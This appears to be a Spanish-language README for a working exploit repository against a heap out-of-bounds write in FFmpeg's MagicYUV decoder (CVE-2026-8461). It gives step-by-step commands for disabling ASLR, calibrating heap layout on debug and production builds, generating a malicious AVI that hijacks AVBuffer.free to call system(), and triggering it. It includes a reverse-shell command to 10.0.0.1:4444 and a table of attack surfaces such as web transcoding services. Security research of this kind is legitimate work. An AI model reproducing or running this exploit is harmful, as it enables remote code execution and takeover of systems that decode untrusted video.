
PoC de explotación funcional para escritura fuera de límites (heap OOB) en MagicYUV de FFmpeg (CVE-2026-8461) con scripts de calibración automática para builds de depuración y producción, permitiendo inyección de comandos mediante secuestro de AVBuffer.free.
[!WARNING] Este repositorio contiene un PoC funcional de explotación para una vulnerabilidad de corrupción del montón. Está destinado únicamente a investigación de seguridad autorizada, contextos CTF y análisis defensivo. No lo utilice contra sistemas que no posea o para los que no tenga permiso explícito por escrito.
Afectado: Decodificador MagicYUV de FFmpeg 8.0.1 (libavcodec/magicyuv.c)
Primitiva: Escritura OOB en montón → secuestro de AVBuffer.free → llamada a system()
magy_decode_slice() usa sheight (altura de slice sin recortar) como límite del bucle para escribir en el plano de salida Cb/Cr, pero asigna el búfer usando la height recortada. En la última slice de un fotograma especialmente diseñado, el bucle escribe más allá del final de la región asignada.
// magicyuv.c:291 — el puntero dst ya está en sheight×stride más allá del inicio del búfer
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
dst[i] = get_vlc2(...); // escritura OOB cuando sheight > height
La escritura fuera de límites aterriza en una estructura AVBuffer asignada posteriormente. controlando los bytes escritos, se sobrescribe AVBuffer.free con la dirección de system() y AVBuffer.opaque con la dirección de la cadena de comando en el montón. Cuando se libera el fotograma, av_buffer_unref() llama a system(cmd).
Informe técnico completo: Inglés · 中文
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0 (ASLR desactivado — necesario para la calibración)
Dependencias de Python: ninguna (solo stdlib).
sudo sysctl -w kernel.randomize_va_space=0
Build de depuración (compilado con -g, p.ej., desde fuente con --enable-debug):
python3 auto_calibrate.py \
--ffmpeg /ruta/a/ffmpeg-debug \
--avi /tmp/exploit.avi \
-o calibration.json
Build de producción (biblioteca compartida stripped, p.ej., apt install ffmpeg o --enable-shared personalizado):
python3 auto_calibrate_nosym.py \
--ffmpeg /ruta/a/ffmpeg \
--libpath /ruta/a/ffmpeg/lib \
--avi /tmp/exploit.avi \
-o calibration.json
La ruta
--avidebe ser idéntica entre la calibración y la entrega del exploit. Cambiar la longitud de la cadena de la ruta altera el diseño del montón e invalida la calibración.
python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "id > /tmp/pwned" \
-o /tmp/exploit.avi
# Build de depuración (enlazado estáticamente)
/ruta/a/ffmpeg-debug -i /tmp/exploit.avi -f null -
# Build de producción (biblioteca compartida)
LD_LIBRARY_PATH=/ruta/a/lib /ruta/a/ffmpeg -i /tmp/exploit.avi -f null -
# FFmpeg instalado en el sistema (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -
Salida esperada: el comando se ejecuta, luego el proceso falla con corrupted size vs. prev_size.
cat /tmp/pwned
# uid=1000(usuario) gid=1000(usuario) groups=...

python3 exploit_cve_2026_8461.py \
--calibration calibration.json \
--cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
-o /tmp/exploit.avi
Binario FFmpeg objetivo
│
├─ ¿Tiene símbolos de depuración? (file ffmpeg | grep debug_info)
│ └─ SÍ → auto_calibrate.py
│
└─ Stripped / producción
│
├─ ¿Enlazado dinámicamente? (ldd ffmpeg | grep libavutil)
│ └─ SÍ → auto_calibrate_nosym.py
│
└─ Enlazado estáticamente + totalmente stripped
└─ Ningún script aplica
(requiere enfoque de hook malloc con LD_PRELOAD)
auto_calibrate_nosym.py funciona:
av_buffer_create (siempre presente en libavutil.so .dynsym) para capturar los punteros de datos Cb y Cr sin necesidad de símbolos de nivel de fuente.AVBuffer y extraer la dirección de system().El exploit se activa cuando el objetivo decodifica el fotograma de video (no solo lo inspecciona):
Para demostrar la vulnerabilidad sin ejecutar un comando:
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# falla con: free(): invalid pointer o corrupted size vs. prev_size
AVBuffer aterriza dentro de 640 bytes de la dirección de inicio OOB del plano Cb. En aarch64, el orden de asignación de glibc coloca AVBuffer más allá de ese rango (el bloque adyacente es el búfer Cr de ~10 KB), por lo que la escritura OOB no puede alcanzarlo con la geometría de fotograma actual. Portar a aarch64 requiere perfilar el diseño del montón de aarch64 y ajustar la geometría del fotograma en consecuencia.kernel.randomize_va_space=0). Con ASLR activado, las direcciones del montón se aleatorizan en cada ejecución y la calibración no es aplicable. Se necesitaría una primitiva de fuga de información para extender esto a objetivos con ASLR activado.auto_calibrate_nosym.py: Requiere un FFmpeg enlazado dinámicamente con libavutil.so accesible (ya sea en rutas del sistema o mediante --libpath).| Archivo | Descripción |
|---|
exploit_cve_2026_8461.py | Generador de AVI de explotación — crea el flujo de bits MagicYUV malicioso |
auto_calibrate.py | Autocalibración para builds de depuración (requiere símbolos de depuración -g) |
auto_calibrate_nosym.py | Autocalibración para builds de producción (stripped, biblioteca compartida) |
CVE-2026-8461_Analysis_EN.md | Análisis completo de la vulnerabilidad (inglés) |
CVE-2026-8461_Analysis.md | Análisis completo de la vulnerabilidad (中文) |
ffmpeg_prod | Binario de FFmpeg 8.0.1 de producción (stripped) para pruebas locales |
| Invocación | ¿Activa RCE? |
|---|
ffmpeg -i evil.avi -f null - | Sí |
ffmpeg -i evil.avi -o out.mp4 | Sí |
| Servicio de transcodificación web (bucle de decodificación libavcodec) | Sí |
| Reproductor de video que usa libavcodec | Sí |
ffmpeg -i evil.avi (sin salida especificada) | No — el proceso aborta antes de que se ejecute av_buffer_unref |
ffprobe evil.avi | No — ruta solo de inspección, sin decodificación completa |